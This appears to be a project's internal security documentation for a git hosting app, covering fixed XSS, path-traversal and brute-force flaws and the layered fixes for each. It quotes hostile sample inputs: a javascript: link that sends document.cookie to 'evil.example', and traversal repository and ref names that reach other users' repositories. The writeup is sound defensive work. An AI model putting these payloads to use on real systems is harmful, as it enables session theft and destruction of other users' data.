This document covers the security model and specific invariants that have to hold — most of them were established after concrete vulnerabilities were found and fixed, so the "why" matters as much as the rule.
See authentication.md for the full model. The one rule
worth repeating here: repo-access.ts is the only place that computes
whether a user can read/write/moderate a repository. Any new handler that
touches repository data must call through it (requireReadAccess,
requireWriteAccess, getRepoWithReadAccess, etc.) rather than re-deriving
the answer — a hand-rolled check is a place a future edit can silently get the
logic wrong (e.g. forgetting the "public + anonymous = readable" case, or the
distinction between a write collaborator and the owner for owner-only
actions).
MarkdownRenderer (src/components/MarkdownRenderer.tsx) renders content
that is fully attacker-controlled: issue bodies, PR bodies, comments, and
README files — anyone with write access to a repo (or, for a public repo,
anyone who can comment) can put arbitrary markdown in front of anyone who
views that content.
The link/image renderer used to render a raw <a href={href}>/<img src={src}> for any href/src that didn't match a known "external" pattern and
wasn't a recognized internal repo-reference link — reachable specifically when
no branch context was available, which is exactly the case for issue/PR/
comment bodies (they're rendered without a branch prop, only with owner/
name). A comment containing [click me](javascript:fetch('https://evil.example/steal?c='+document.cookie))
would render as a live javascript: link, executing in the viewer's
authenticated session on click.
Fix: isSafeHref/isSafeImageSrc gate every href/src before it reaches
a real DOM attribute. The rule is an allowlist, not a blocklist — schemeless
(relative) hrefs are safe by construction, and an explicit scheme is only
allowed if it's http:, https:, or mailto: (images additionally allow
data:image/... specifically, since an <img src="data:..."> can't execute
script the way an <a href="data:text/html,..."> navigation could). Anything
else — javascript:, vbscript:, data:text/html, whatever comes next — is
rejected by construction rather than requiring the blocklist to be kept
up to date.
If you touch this component: any new place that renders a user-controlled
href/src as a real attribute must go through these same two functions. Don't
reintroduce a raw <a href={href}> fallback "just for this one case" without
the check — that's exactly how the original bug existed.
repositories.ts's createRepository/updateRepository used to validate the
repo name field with only z.string().min(1).max(100) — no character
restriction at all. That name flows, eventually, into
getRepoPath(ownerKey, repoName) (git-manager-iso.ts), which does a real
path.join(GIT_BASE_PATH, ownerKey, repoName) for local-disk write hydration
(see git-storage.md). path.join resolves ..
components — a repository named .., or (in the non-R2 / local-disk-only
deployment mode) something like ../../../etc/cron.d/x, could write bare-repo
files (HEAD, config, objects/, refs/) outside the intended storage
root.
Fix, at three layers (defense in depth — don't remove any one layer on the assumption another covers it):
- Input validation —
repositories.ts'srepoNameSchemarestricts names to/^[a-zA-Z0-9](?:[a-zA-Z0-9._-]*[a-zA-Z0-9])?$/: must start/end with an alphanumeric, no//\, and — because it must start and end with an alphanumeric — can never be.or..on its own. sanitizeStorageSegment(git-storage-naming.ts) — used everywhere a storage-key segment is built from a username or repo name. Replaces//\and whitespace with-, and additionally collapses a segment that is exactly.or..to_(slash-replacement alone doesn't touch a bare.., since there's no slash to replace).getRepoPathitself (git-manager-iso.ts) — re-sanitizes bothownerKeyandrepoNameviasanitizeStorageSegment, then verifies withpath.resolvethat the result is actually contained underGIT_BASE_PATHbefore returning it, throwing rather than silently returning an escaped path. This exists specifically so a caller that forgot to pre-sanitize (or a future code path that introduces a new way to reach this function) can't reintroduce the vulnerability by omission.
R2 keys built from an unsanitized segment are lower-risk on their own (S3 has
no path resolution — "repos/x/../y" is just a literal, harmless string key,
not a traversal), but the local-disk hydration path that every write
operation goes through, R2-configured or not, is real Node.js path.join
against a real filesystem, and that's where this actually bites.
A separate, more severe traversal bug than the repository-name one above:
branch/ref names — a git push's ref-update command, a branch name typed
into the web UI, a pull request's source/target branch — reached several
isomorphic-git primitives that, unlike git.branch/the top-level
git.writeRef, never validate the ref name themselves:
git.commit, git.merge, git.deleteBranch, and the top-level
git.resolveRef/git.deleteRef all resolve straight through
fs.write/fs.rm(join(gitdir, ref)) (or the R2-backend equivalent) with no
jail to the current repo's own directory.
That alone would be contained if the storage layer re-verified containment
the way getRepoPath does for repository names (see above) — but it doesn't.
The object-store fs (git-fs.ts, built on git-fs-s3's createGitFs) has
no notion of "which repo this request belongs to" — it's constructed with no
key prefix (gitdirs are the full storage roots), and maps whatever path
isomorphic-git hands it straight onto an R2 key, normalized only to resolve
./.. segments and reject one that would escape the store's own root
(git-fs-s3's normalizePath) — not any specific repository's gitdir. Once a
../-laden ref name collapses to a path like
repos/{victim-owner}/{victim-repo}/git/refs/heads/main, the store
reads/writes/deletes exactly that key — the victim's real ref file — even
though the operation started against the attacker's own repo's gitdir. This
was directly exploitable in production (R2 configured is the deployed
configuration, not just a local-disk-only edge case).
Two concrete ways this was reachable, both through the ordinary web UI (no git CLI, no raw HTTP crafting needed for the second one):
git push's receive-pack ref-update commands — the client-suppliedrefNamein each<oldOid> <newOid> <refName>command line was passed straight togit.resolveRef/git.deleteRef/git.writeRefinhandleReceivePackIso.git.writeRefhappens to validate internally, butgit.deleteRefandgit.resolveRefdon't — a ref-delete command withrefName: "../../victim-owner/victim-repo/git/refs/heads/main"andoldOidset to the all-zero oid trivially passes the compare-and-swap check (resolveRefon a non-well-formed-ref path fails and is treated as "doesn't exist yet"), then deletes that file.- Web-UI branch operations —
files.ts'suploadFile/deleteFile/createBranch/deleteBranchandpull-requests.ts'screatePullRequestall acceptedbranchName/sourceBranchName/targetBranchNameas a barez.string()with no format restriction. "Delete branch" with a traversal name reachesgit.deleteBranch(no CAS check needed at all, simpler to exploit than the push path above); a PR with a traversaltargetBranchName, once merged by anyone with merge rights, reachesgit.merge/git.commit.
Fix: src/server/git-ref-name.ts — isSafeFullRefName (for the
refs/heads/…/refs/tags/… shape a push's refName takes) and
isSafeBranchName (for the bare-name shape every other entry point takes,
also rejecting anything that already looks like a full ref path, which would
otherwise smuggle through unprefixed) — both built on the same character-class
rules isomorphic-git's own internal isValidRef uses. Applied at every layer,
matching the repository-name fix's defense-in-depth shape:
- Input validation —
files.tsandpull-requests.tsvalidate every branch-name-shaped field withsafeBranchNameSchemainstead of a barez.string(). - Point of use —
git-branch-ops.ts(createBranch/deleteBranch/checkoutBranch),git-commit-write.ts(createCommit/deleteFile), andgit-merge-iso.ts(analyzeMerge/mergeBranches) each re-validate their branch-name parameters immediately before calling into isomorphic-git — so a future call site that reaches these functions some other way, without going through the zod schema, can't reintroduce the bug by omission. git-http-iso.ts's receive-pack handler validates every ref-update command'srefNamewithisSafeFullRefNamebefore it touchesresolveRef/deleteRef/writeRefat all — rejecting the whole command withok: false, reason: "invalid ref name"rather than letting any of those calls run.
authenticateWithPassword (git-auth.ts) verifies username/password
credentials directly against the DB for git HTTP requests, entirely
bypassing Better Auth's own rate limiter (which only wraps requests routed
through auth.handler, i.e. /api/auth/*) — without a rate limit here, the
git HTTP endpoint is an unthrottled password-guessing oracle against any
user's account. Locks out an account/email key after 10 failed attempts
within a 5-minute window; only failed attempts count, so a legitimate client
re-authenticating many times (frequent CI fetches) never trips it.
This is backed by a git_auth_attempts table, not an in-process Map —
the git HTTP endpoint can be served by multiple concurrent (or frequently
cold-starting) Vercel serverless instances, each with its own process
memory. A per-instance in-memory counter never accumulates a shared view of
failed attempts across them, which would let the lockout be bypassed for
free just by distributing guesses across instances/restarts. The upsert that
records a failed attempt (recordFailedPasswordAttempt) uses a single
INSERT ... ON CONFLICT DO UPDATE with the window-expiry check embedded in
the SET clause's CASE expression, so two concurrent failed attempts for
the same key can't race each other into under-counting the way a
read-then-write would.
PATs are stored as a SHA-256 hash (tokens.tokenHash), never in plaintext.
This is the correct approach specifically because PATs are high-entropy random
strings — unlike password hashing (which needs a slow, salted algorithm like
bcrypt/argon2 to resist brute-forcing low-entropy human passwords), a fast
hash is fine for a token that's already unguessable. See
authentication.md for the full auth-fallback chain.
BETTER_AUTH_SECRET must never be reachable from client-bundled code — see
authentication.md's note on auth-session.ts's dynamic
import. No credential (password, PAT, session cookie) is ever passed to
console.log/console.error anywhere in the auth paths — only generic
"auth failed" messages are logged.
pnpm audit is clean (0 findings) as of the last pass. It wasn't always —
worth knowing both what was actually wrong and how it was fixed, since the
same shape of problem can recur:
@cloudflare/vite-pluginwas a fully dead dependency (never wired intovite.config.ts— see deployment.md) that dragged inwrangler/miniflare's own bundledesbuild/undici/ws/sharpversions as real, vulnerable installs. Removed outright.- The remaining findings (
hono,@hono/node-server,lodash,deepmerge-ts,effect,valibot,undici) all traced throughbetter-auth's optional multi-ORM peer graph pulling inprisma's bundled dev-studio tooling — never imported by this app's code, just present as peer-dependency noise. Pinned viapnpm.overridesinpackage.json.
The overrides need an explicit upper bound, not just a patched floor.
pnpm audit --fix's auto-generated overrides default to an open-ended target
(">=7.29.0", no ceiling) — that resolved cleanly at the time, but the next
pnpm install after a new major version of that package gets published will
happily jump to it. This actually broke the whole test suite once: an
open-ended undici override resolved to undici@8.10.0 on a later install,
and jsdom (which needs undici@^7.x — it requires an internal path,
undici/lib/handler/wrap-handler.js, that doesn't exist in v8) crashed
outright. Every override in package.json is capped below its next major
(">=7.29.0 <8.0.0") for exactly this reason — if you add a new one, cap it
the same way, and re-run the full test suite (not just pnpm audit) before
considering the fix done.
Don't move the overrides out of package.json on pnpm 9.15's say-so —
verify first. pnpm install on this pnpm version prints The "pnpm" field in package.json is no longer read by pnpm... See pnpm.io/settings for the new home, pointing at pnpm-workspace.yaml's overrides key. That warning
is wrong for this pnpm version: empirically, pnpm-workspace.yaml's
overrides key has zero effect here (tested directly — overriding a
plain top-level dependency there did nothing), while package.json's
"pnpm" key still works exactly as before, warning aside. Moving the block
anyway silently drops every cap: a full lockfile regeneration afterward
converged on real, older, vulnerable versions of several of these packages
through peer-dependency-driven duplicate resolution paths (wrangler's own
bundled miniflare, prisma's peer chain) that weren't resolved before —
pnpm audit went from 0 findings to 69 (14 high). If a future pnpm/Node
upgrade repeats this warning, confirm which location actually works before
touching anything: override some inert top-level dependency (not one of the
real caps) to an arbitrary old version and check pnpm ls <that package>
reflects it — don't trust the warning text or pnpm why alone, since pnpm why only traces one representative path per package and can look correct
while a different peer-resolved instance of the same package silently isn't
overridden at all.
If pnpm audit shows a new finding, check findings[].paths in pnpm audit --json to see whether the dependency chain is genuinely dev-only/unreachable
from the deployed runtime before dismissing it the way the old findings were
— don't assume every future finding is automatically noise just because past
ones were.
src/routes/api/raw.$.ts (the /api/raw/{owner}/{repo}/{ref}/{...path} "Raw"
link and permalink target) builds its ref and path straight off the URL's
decoded segments and passed them directly into getFileContent/
resolveCommit (git-history-ops.ts) — unlike every other entry point in the
app that accepts a branch-name- or path-shaped field, this route did not
run them through safeBranchNameSchema/safeRepoPathSchema first, since it's
a raw API route handler rather than one of files.ts's validated
createServerFns.
resolveCommit resolves ref via qualifyBranchRef + the top-level
git.resolveRef — one of the isomorphic-git primitives that (like
git.deleteRef/git.commit/git.merge — see the ref-name section above)
does not validate ref format internally. In R2-configured deployments this is
contained (R2 keys are opaque strings with no path-navigation semantics — see
above), but in a local-disk-configured deployment (isR2Configured() false),
the read goes through real Node fs calls, where the OS itself resolves ../
components regardless of whether isomorphic-git's own JS-level path helper
does — so a crafted ref could read another repository's ref/blob data
straight off disk, bypassing that repository's own read-access check
entirely (the access check only ever validated access to the repo named in
the URL's {owner}/{repo}, not whatever repo the traversal actually reads
from).
Fix: both ref and path are validated (isSafeRefName /
isSafeRepoPath, git-ref-name.ts) before either reaches getFileContent,
returning a 404 for anything invalid — same posture as every other
branch/path field in the app. If you add a new route handler that reads
request-supplied path segments directly (rather than through one of
files.ts's already-validated server functions), run them through these same
validators rather than assuming access-control alone is enough.
isSafeBranchName deliberately rejects any 40-hex-char value (to keep a
stored branch name from ever being ambiguous with a commit SHA at write
time — see its comment in git-ref-name.ts) — but files.ts's read-path
handlers (getFile, listFiles, getLastCommits, getFileHistory,
getCommits) reused the same safeBranchNameSchema for their branchName
field, which is also the field the blob page's Permalink button relies on
being able to pass a full commit SHA (/repo/{owner}/{name}/blob/{sha}/{path}
— see isPinnedRevision in that route). The result: viewing a file pinned to
a specific commit threw a validation error before ever reaching the handler,
which the blob page's error || !file check silently rendered as "File Not
Found" — indistinguishable from the file genuinely not existing.
Fix: git-ref-name.ts now also exports isSafeRefName/
safeRefNameSchema, which accept either a valid branch name or a full
40-hex commit SHA, still rejecting every unsafe shape either check would
reject on its own. The read-path branchName fields above now use this;
write-path fields (uploadFile, deleteFile, createBranch, deleteBranch,
getBranchDiff, createPullRequest's branch fields) keep the stricter
safeBranchNameSchema, since a SHA is never a meaningful value there.
getCommit/getCommitDiff's commitSha field now uses a dedicated
safeCommitShaSchema (exact 40-hex) instead of a bare z.string(), for the
same defense-in-depth reason every other ref-shaped field is validated rather
than trusted.
Blob routes for files ending in .md (e.g. viewing a README.md through the
blob viewer) currently 404 before ever reaching the app's own router, with a
raw connect-style Cannot GET ... body — confirmed via pnpm dev that this
is specific to .md (a sibling request for the same nonexistent repo/path
with a .txt extension, or no extension at all, both reach the app and hit
the expected DB/repo-not-found error instead). Root cause is nitro's local
Vercel-dev-emulation static-asset short-circuit misfiring for .md
specifically — not yet traced to the exact line, since it isn't reproducible
by grepping nitro's dist for any .md-specific handling.
This is very likely dev-only, not a production bug: the actual generated
.vercel/output/config.json routing (inspected directly after a real
pnpm build) has no rule that treats .md specially — it's just the
generic publicAssets cache-control rule plus { "handle": "filesystem" }
falling through to /__server for anything without a real matching file in
.vercel/output/static. Since no build output ever contains a static file at
a path like /repo/{owner}/{repo}/blob/{branch}/README.md, real Vercel
routing's filesystem-handle step has nothing to match and should fall
through to the SSR function correctly. The previous note in this doc
speculating this "would also break in a real deployment" was not verified
against the actual routing config and should not be treated as confirmed —
if you're debugging a .md-related 404 in an actual deployed environment,
treat it as a new finding rather than assuming this is the cause.